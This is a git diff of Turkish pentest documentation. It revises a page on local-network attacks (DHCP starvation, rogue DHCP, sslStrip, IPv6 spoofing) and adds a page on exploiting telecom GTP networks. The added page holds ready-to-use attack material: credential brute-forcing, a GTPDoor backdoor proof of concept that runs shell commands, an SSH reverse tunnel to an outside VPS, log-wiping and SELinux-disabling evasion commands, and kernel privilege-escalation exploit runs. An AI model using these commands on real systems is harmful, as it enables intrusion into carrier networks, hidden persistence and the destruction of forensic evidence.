Bu saldırı, yalnızca DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız çalışır (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Örneğin, bu **Wifi ağlarında mümkün değildir**.
DHCP DoS gerçekleştirmek için başka bir yol, **her olası IP'yi kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir**. Böylece, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Daha otomatik bir yol, aracı [DHCPing](https://github.com/kamorin/DHCPig) kullanmaktır.
Daha otomatik bir yol, [DHCPing](https://github.com/kamorin/DHCPig) aracını kullanmaktır.
Bahsedilen DoS saldırılarını kullanarak, istemcileri ortamda yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda bahsedilen kötü niyetli değerleri sunabilirsiniz**.
@ -515,8 +515,8 @@ Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunm
- **Yerel Ağın Alt Ağ Maskesi**: Yerel ağ için alt ağ maskesini tanımlamak için `-n 255.255.255.0` kullanın.
- **DHCP Trafiği için Arayüz**: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için `-I eth1` kullanın.
- **WPAD Yapılandırma Adresi**: Web trafiği kesintisi için WPAD yapılandırma adresini ayarlamak için `-w “http://10.0.0.100/wpad.dat”` kullanın.
- **Varsayılan Ağ Geçidi IP'sini Taklit Etme**: Varsayılan ağ geçidi IP adresini taklit etmek için `-S` ekleyin.
- **Tüm DHCP İsteklerine Yanıt Verme**: Sunucunun tüm DHCP isteklerine yanıt vermesi için `-R` ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın.
- **Varsayılan Ağ Geçidi IP'sini Taklit Et**: Varsayılan ağ geçidi IP adresini taklit etmek için `-S` ekleyin.
- **Tüm DHCP İsteklerine Yanıt Ver**: Sunucunun tüm DHCP isteklerine yanıt vermesi için `-R` ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın.
Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekilde kesmek için bir sahte DHCP sunucusu kurulabilir.
```python
@ -525,12 +525,12 @@ Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekil
```
### **EAP Saldırıları**
İşte 802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri:
802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri şunlardır:
- EAP üzerinden aktif brute-force şifre kırma
- Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma _\*\*_(exploits)
- EAP mesajlarını yakalama ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP)
- TLS sertifika doğrulamasını atlatmak için EAP-MD5 kimlik doğrulamasını zorlamak
- TLS sertifika doğrulamasını atlamak için EAP-MD5 kimlik doğrulamasını zorlamak
- Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü niyetli ağ trafiği enjekte etme
Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü EAP-MD5'ye düşürmeyi (gerekirse) deneyebilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, bunu brute-force ile kırmayı deneyebilir:
@ -539,9 +539,9 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Saldırıları <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur.
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yükü dağıtmaya yardımcı olur.
**Cisco Systems mühendisleri, GLBP ve HSRP olmak üzere iki FHRP protokolü geliştirmiştir.**
**Cisco Systems mühendisleri iki FHRP protokolü geliştirmiştir: GLBP ve HSRP.**
{{#ref}}
glbp-and-hsrp-attacks.md
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
Yönlendirme Bilgisi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. MD5 kimlik doğrulama desteği RIPv2 ile tanıtılmıştır. Öte yandan, RIPng yerel kimlik doğrulama içermemekte; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
Yönlendirme Bilgi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. RIPv2 ile MD5 kimlik doğrulama desteği getirilmiştir. Öte yandan, RIPng yerel kimlik doğrulama içermemekte; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
- **RIP ve RIPv2:** İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır.
- **RIPng:** IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için 521 numaralı UDP portunu kullanır.
@ -558,7 +558,7 @@ RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, ancak RIPng'nin yerel kim
### EIGRP Saldırıları
**EIGRP (Enhanced Interior Gateway Routing Protocol)**, dinamik bir yönlendirme protokolüdür. **Bu, bir mesafe-vektör protokolüdür.** Eğer **kimlik doğrulama yoksa** ve pasif arayüzlerin yapılandırması yapılmamışsa, bir **saldırgan** EIGRP yönlendirmesine müdahale edebilir ve **yönlendirme tablolarını zehirleyebilir**. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) **düzdür ve herhangi bir bölgeye ayrılmamıştır**. Eğer bir **saldırgan bir rota enjekte ederse**, bu rotanın otonom EIGRP sistemi boyunca **yayılması** muhtemeldir.
**EIGRP (Enhanced Interior Gateway Routing Protocol)**, dinamik bir yönlendirme protokolüdür. **Bu bir mesafe vektör protokolüdür.** Eğer **kimlik doğrulama** yoksa ve pasif arayüzlerin yapılandırması yapılmamışsa, bir **saldırgan** EIGRP yönlendirmesine müdahale edebilir ve **yönlendirme tablolarını zehirleyebilir**. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) **düzdür ve herhangi bir bölgeye ayrılmamıştır**. Eğer bir **saldırgan bir rota enjekte ederse**, bu rotanın otonom EIGRP sistemi boyunca **yayılması** muhtemeldir.
EIGRP sistemine saldırmak, **meşru bir EIGRP yönlendiricisi ile bir komşuluk kurmayı** gerektirir; bu da temel keşiften çeşitli enjekte etmelere kadar birçok olasılığı açar.
@ -572,7 +572,7 @@ eigrp-attacks.md
### OSPF
Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılmaktadır**. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarınıığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla _Injection_ ve _Connection_ sekmeleri kullanılır.
Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılır**. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarınıığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla _Injection_ ve _Connection_ sekmeleri kullanılır.
- **MD5 Hash'lerini Yakalama ve Kırma:** Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır.
- **Rota Parametrelerini Yapılandırma:** Bu, _Injection_ sekmesi aracılığıyla yapılır.
@ -581,11 +581,11 @@ Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönle
### Diğer Genel Araçlar & Kaynaklar
- [**Above**](https://github.com/c4s73r/Above): Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç
- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulabilirsiniz.
- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulunabilirsiniz.
## **Sahtecilik**
Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.
Saldırgan, yeni ağ üyesinin tüm ağ parametrelerini (GW, IP, DNS) sahte DHCP yanıtları göndererek yapılandırır.
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
@ -633,14 +633,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [LLMNR, NBT-NS ve mDNS'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye dayanır. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.
Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit edebilirsiniz.\
Daha fazla bilgi için [Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Daha fazla bilgi için [Responder ile hizmetleri nasıl taklit edeceğinizi](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) buradan okuyun.
### [WPAD'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır**. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir:
@ -648,15 +648,15 @@ Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomati
- **DNS** aracılığıyla, bu yerel alanda _wpad_ olarak etiketlenmiş bir ana bilgisayar adı aramayı içerir.
- **Microsoft LLMNR ve NBT-NS** aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır.
Yanıtlayıcı aracı, bu protokolden yararlanarak **kötü niyetli bir WPAD sunucusu** olarak hareket eder. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Yanıtlayıcı aracı, bu protokolden yararlanarak **kötü niyetli bir WPAD sunucusu** olarak hareket eder. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [SSDP ve UPnP Cihazlarını Taklit Etme](spoofing-ssdp-and-upnp-devices.md)
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırabilirsiniz**. **Bu saldırı hakkında daha fazla bilgi için** [**SSDP ve UPnP Cihazlarını Taklit Etme**](spoofing-ssdp-and-upnp-devices.md)**.**
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırabilirsiniz**. **Bu saldırı hakkında daha fazla bilgi için** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Komşu Taklidi
### IPv6 Neighbor Spoofing
Bu saldırı, ARP Taklidi ile çok benzer, ancak IPv6 dünyasında geçerlidir. Kurbanın, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşünmesini sağlayabilirsiniz.
Bu saldırı, ARP Spoofing'e çok benzer ancak IPv6 dünyasında geçerlidir. Kurbanı, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşündürebilirsiniz.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -684,7 +684,7 @@ mitm6
### sslStrip
Temelde bu saldırının yaptığı şey, eğer **kullanıcı** bir **HTTP** sayfasına **erişmeye** çalışıyorsa ve bu sayfa **HTTPS** versiyonuna **yönlendiriliyorsa**. **sslStrip**, **istemci ile** bir **HTTP bağlantısını** ve **sunucu ile** bir **HTTPS bağlantısını** **koruyarak**, bağlantıyı **düz metin** olarak **dinleyebilmesini** sağlar.
Temelde bu saldırının yaptığı şey, eğer **kullanıcı** bir **HTTP** sayfasına **erişmeye** çalışıyorsa ve bu sayfa **HTTPS** versiyonuna **yönlendiriyorsa**. **sslStrip**, **istemci ile** bir **HTTP bağlantısını** ve **sunucu ile** bir **HTTPS bağlantısını** **sürdürerek**, bağlantıyı **düz metin** olarak **dinleyebilmesini** sağlar.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,14 +697,14 @@ Daha fazla bilgi [burada](https://www.blackhat.com/presentations/bh-dc-09/Marlin
### sslStrip+ ve dns2proxy ile HSTS'yi atlama
**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (ekstra "**w**"yi not edin) ve bu **alanın adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **https** üzerinden **sürdürecektir**.
**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (ekstra "**w**"yi not edin) ve bu **alanın adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **sürdürecektir**.
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi atlamaktır**, böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\
Bu saldırıyı gerçekleştirmek için, mağdurun başlangıçta [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi** **atlamaktır**, böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\
Bu saldırıyı gerçekleştirmek için, mağdurun öncelikle [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
Daha fazla bilgi [burada](https://www.bettercap.org/legacy/#hsts-bypass), [burada](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) ve [burada](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alana ilk kez erişse bile HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **HSTS'yi `includeSubdomains` ile kullanmaktadır.**
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alan adına ilk kez erişse bile, HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **`includeSubdomains` ile HSTS kullanmaktadır.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -733,10 +733,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **bir CA tarafından imzalanmış başka bir ana bilgisayar adı için bir sertifika sunabilirsiniz**.\
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **bir CA tarafından imzalanmış başka bir ana bilgisayar adı sertifikası sunabilirsiniz**.\
Diğer ilginç bir test, **istenen ana bilgisayar adı için ancak kendinden imzalı bir sertifika sunmaktır**.
Test edilecek diğer şeyler, sertifikayı geçerli bir CA olmayan geçerli bir sertifika ile imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmeye ihtiyaç duymayan bir algoritma (diffie hellman gibi) kullanmaya zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.
Test edilecek diğer şeyler, geçerli bir CA olmayan geçerli bir sertifika ile sertifikayı imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmeye ihtiyaç duymayan bir algoritma (diffie hellman gibi) kullanmaya zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.
## Bettercap
```bash
@ -766,7 +766,7 @@ wifi.recon on; wifi.ap
```
### Aktif Keşif Notları
Bir UDP paketi, istenen portun bulunmadığı bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın.
Bir UDP paketi, istenen porta sahip olmayan bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın.
### **ARP keşfi**
@ -774,7 +774,7 @@ ARP paketleri, ağ içinde hangi IP'lerin kullanıldığını keşfetmek için k
### **mDNS (çoklu yayın DNS)**
Bettercap, **\_services\_.dns-sd.\_udp.local** için bir MDNS isteği gönderir (her X ms) ve bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar.
Bettercap, **\_services\_.dns-sd.\_udp.local** için her X ms'de bir MDNS isteği gönderir; bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar.
**Araçlar**
@ -794,6 +794,13 @@ Bettercap, her türlü hizmeti aramak için SSDP paketleri yayınlar (UDP Port 1
Bettercap, hizmetleri aramak için WSD paketleri yayınlar (UDP Port 3702).
### Telekom / Mobil-Core (GTP) Sömürüsü
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## Referanslar
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

View File

@ -0,0 +1,140 @@
# Telekom Ağı İstismarı (GTP / Roaming Ortamları)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, **bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir**. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı sahada gözlemlenen saldırgan tekniklerini toplar.
## 1. Keşif & İlk Erişim
### 1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser` gibi sabit kodlu SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
### 1.2 GRX/IPX İçinde Host Keşfi
Çoğu GRX operatörü hala omurga boyunca **ICMP echo**'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için `masscan`'i yerleşik `gtpv1` UDP probeleri ile birleştirin:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abone Sayımı `cordscan`
Aşağıdaki Go aracı **GTP-C PDP Bağlantı Oluşturma İsteği** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut **SGSN / MME**'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Anahtar bayraklar:
- `--imsi` Hedef abone IMSI
- `--oper` Ev / HNI (MCC+MNC)
- `-w` Ham paketleri pcap'e yaz
İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. GTP Üzerinden Kod Çalıştırma `GTPDoor`
`GTPDoor`, **UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran** küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve `/bin/sh -c` aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan **Echo Response** mesajları içinde dışarıya aktarılır.
Minimal PoC paketi (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Tespit:
* SGSN IP'lerine **dengesiz Echo İstekleri** gönderen herhangi bir ana bilgisayar
* GTP sürüm bayrağı 1 olarak ayarlandığında ve mesaj türü = 1 (Echo) spesifikasyondan sapma
## 4. Çekirdek Üzerinden Pivotlama
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`, **gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen** bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir `tun0` arayüzü alır.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon VLAN'larını atlar ve sizi doğrudan **veri düzlemine** yönlendirir.
### 4.2 Port 53 Üzerinde SSH Ters Tünel
DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes`'un VPS'de etkin olduğunu kontrol edin.
## 5. Gizli Kanallar
| Kanal | Taşıma | Kod Çözme | Notlar |
|-------|--------|-----------|--------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte anahtar + 14-byte parçalar (XOR) | tamamen pasif dinleyici, dışa trafik yok |
| DNS `NoDepDNS` | UDP 53 | A-kayıt oktetlerinde kodlanmış XOR (anahtar = `funnyAndHappy`) | `*.nodep` alt alanını izler |
| GTP `GTPDoor` | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbetiyle karışır |
Tüm implantlar, ikili dosyalarını **timestomp** eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.
## 6. Savunma Kaçış Kılavuzu
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Eski NE'de Yetki Yükseltme
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Temizlik ipucu:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Araç Kutusu
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde tanımlanan özel araçlar.
* `FScan` : intranet TCP taramaları (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS sahte WPAD
* `Microsocks` + `ProxyChains` : hafif SOCKS5 pivotlama
* `FRP` (≥0.37) : NAT geçişi / varlık köprüleme
---
## Tespit Fikirleri
1. **Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz**.
2. **İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443)**.
3. **Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri** GTPDoor işaretlerini gösterebilir.
4. **Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı**.
## Referanslar
- [Palo Alto Unit42 Küresel Telekom Ağlarının Sızılması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tünelleme Protokolü (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,9 +9,9 @@
#### Yapılandırma Dosyaları
- **Solaris ve UNIX tabanlı sistemler**, genellikle `/etc/pam.conf` konumunda bulunan merkezi bir yapılandırma dosyası kullanır.
- **Linux sistemleri**, hizmete özgü yapılandırmaları `/etc/pam.d` içinde saklayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası `/etc/pam.d/login` konumundadır.
